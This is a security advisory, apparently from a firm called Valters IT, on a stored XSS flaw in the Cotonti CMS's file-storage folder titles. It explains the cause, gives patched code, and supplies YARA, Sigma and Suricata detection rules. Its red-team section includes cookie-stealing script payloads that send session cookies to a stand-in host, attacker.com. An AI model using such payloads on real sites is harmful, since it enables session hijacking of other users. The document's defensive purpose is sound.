CVE-2026-55746

Executive Summary

CVE-2026-55746 is a stored Cross-Site Scripting (XSS) vulnerability in Cotonti 1.0.0 (master branch, commit f43f1fc3). The flaw resides in the Personal File Storage (PFS) module, specifically in the folder title handling. An authenticated user can inject arbitrary HTML/JavaScript into a folder title, which is then stored and executed when other users (including those viewing public folders) access the folder listing. The vulnerability arises because the TXT filter in cot_import does not strip or encode HTML, and the template variable PFF_ROW_TITLE is output without htmlspecialchars() in pfs.tpl. With a CVSS score of 7.6, this vulnerability poses a significant risk to the confidentiality and integrity of user data, as it can be exploited to steal session cookies, deface pages, or perform other malicious actions.

Supply Chain & Package Security

Cotonti is a PHP-based content management system. This vulnerability is not related to any third-party package manager (NPM, PyPI, Go, Ruby) but is a direct flaw in the core application code. The risk is limited to instances where the PFS module is enabled and accessible to authenticated users.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – An attacker needs only an authenticated user account.
• User Interaction (UI): Required (R) – The victim must view the folder listing.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure (e.g., session cookies).
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No impact on availability.

Threat Level: High. The low attack complexity and low privileges required make this a practical attack vector for authenticated users. The stored nature of the XSS means the payload persists and can affect multiple victims.

Deep Dive & Mechanics

The vulnerability is rooted in two key areas:

1. Input Handling in cot_import: The TXT filter is used to import the folder title (pff_title). This filter does not strip or encode HTML tags. Additionally, the tag check in cot_import is disabled, allowing arbitrary HTML/JavaScript to pass through.

2. Output Rendering in pfs.main.php and pfs.tpl: In modules/pfs/inc/pfs.main.php, the folder title is assigned to the template variable PFF_ROW_TITLE without being sanitized via htmlspecialchars(). In modules/pfs/tpl/pfs.tpl, the template outputs {PFF_ROW_TITLE} directly, which means any HTML/JavaScript in the title is rendered in the victim's browser.

Attack Flow:

1. An authenticated user creates a new folder in the PFS module.
2. The user sets the folder title to a malicious payload, e.g., <script>alert('XSS')</script>.
3. The payload is stored in the database without sanitization.
4. When another user (or the same user) views the folder listing, the payload is executed in their browser.

Vulnerable vs. Patched Code

Vulnerable Code (Cotonti 1.0.0, commit f43f1fc3):

In modules/pfs/inc/pfs.main.php:

// Vulnerable: No sanitization
$pff_row['pff_title'] = cot_import('pff_title', 'P', 'TXT');

In modules/pfs/tpl/pfs.tpl:

<!-- Vulnerable: Unescaped output -->
{PFF_ROW_TITLE}

Patched Code (Hypothetical Fix):

In modules/pfs/inc/pfs.main.php:

// Patched: Sanitize with htmlspecialchars
$pff_row['pff_title'] = htmlspecialchars(cot_import('pff_title', 'P', 'TXT'), ENT_QUOTES, 'UTF-8');

In modules/pfs/tpl/pfs.tpl:

<!-- Patched: Use escaped output -->
{PFF_ROW_TITLE|escape}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running instance of Cotonti 1.0.0 (commit f43f1fc3) with the PFS module enabled.
• An authenticated user account.

Exploit Steps:

1. Log in to Cotonti as an authenticated user.
2. Navigate to the Personal File Storage (PFS) module.
3. Create a new folder with a malicious title, e.g.:

   <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Save the folder.
5. Share the folder listing URL with the victim or wait for them to view it.
6. The victim's browser executes the script, sending their session cookie to the attacker's server.

Example Payload:

<script>fetch('http://attacker.com/steal?c='+document.cookie)</script>

Blue Team

Detection:

• Monitor for unusual folder titles containing HTML/JavaScript tags.
• Check server logs for requests to the PFS module with suspicious pff_title parameters.
• Use WAF rules to block requests with script tags in folder titles.

Mitigation:

• Apply input sanitization to the pff_title field.
• Ensure template variables are escaped before output.
• Restrict PFS module access to trusted users only.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /index.php?r=pfs&a=addfolder with pff_title containing HTML/JavaScript.
  • Outbound connections to attacker-controlled domains from the Cotonti server.
• File IOCs:
  • Database entries in the cot_pfs_folders table with pff_title containing script tags.
• Behavioral IOCs:
  • Unusual folder titles in the PFS module.
  • Multiple failed login attempts followed by folder creation with suspicious titles.

Detection Engineering

YARA Rule

rule CVE_2026_55746_Cotonti_XSS {
    meta:
        description = "Detects stored XSS payloads in Cotonti PFS folder titles"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-55746"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $html_payload = /<[^>]+on\w+\s*=/i
    condition:
        $xss_payload or $html_payload
}

Sigma Rule

title: Cotonti PFS Stored XSS Detection
id: 8f3a2b1c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects attempts to exploit CVE-2026-55746 by injecting XSS payloads into PFS folder titles
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'r=pfs&a=addfolder'
        cs-uri-query|contains|all:
            - 'pff_title='
            - '<script'
    condition: selection
falsepositives:
    - Legitimate use of HTML in folder titles (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-55746 Cotonti PFS Stored XSS Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/index.php";
    http_uri;
    content:"r=pfs&a=addfolder";
    http_uri;
    content:"pff_title=";
    http_client_body;
    pcre:"/<script[^>]*>.*<\/script>/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the PFS module if not required, or restrict access to trusted users only.
2. Apply input sanitization to the pff_title field using htmlspecialchars() or a similar function.
3. Update template files to escape output variables (e.g., use {PFF_ROW_TITLE|escape}).

Long-term Fix:

• Upgrade to a patched version of Cotonti once available.
• Implement a Content Security Policy (CSP) to mitigate XSS impact.
• Conduct regular security audits of the codebase.

Workaround:

• Use a Web Application Firewall (WAF) to block requests containing script tags in the pff_title parameter.

Valters IT
Securing Digital Frontiers